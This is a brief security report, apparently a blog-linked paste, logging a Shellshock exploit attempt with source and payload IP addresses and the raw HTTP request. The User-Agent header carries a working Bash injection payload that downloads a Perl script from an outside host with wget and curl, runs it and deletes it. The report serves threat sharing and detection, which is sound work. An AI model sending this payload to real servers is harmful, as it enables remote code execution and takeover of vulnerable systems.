Shellshock Attempt: 85.214.149.179 , 202.191.121.230

Shellshock Attempt
Reported by neonprimetime security
http://neonprimetime.blogspot.com

*****
Blog about this http://neonprimetime.blogspot.com/2015/03/shellshock-attempt-explained.html
*****
Bash CGI environment variable injection attempt (1:31978)

85.214.149.179   (Source IP of attack)
202.191.121.230   (Payload IP of attack - look for calls out to this in your logs to know if you're compromised)

*****

GET /cgi-bin/test.cgi HTTP/1.1
User-Agent: () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://202.191.121.230/ou.pl -O /tmp/b.pl;curl -O /tmp/b.pl http://202.191.121.230/ou.pl;perl /tmp/b.pl;rm -rf /tmp/b.pl*");'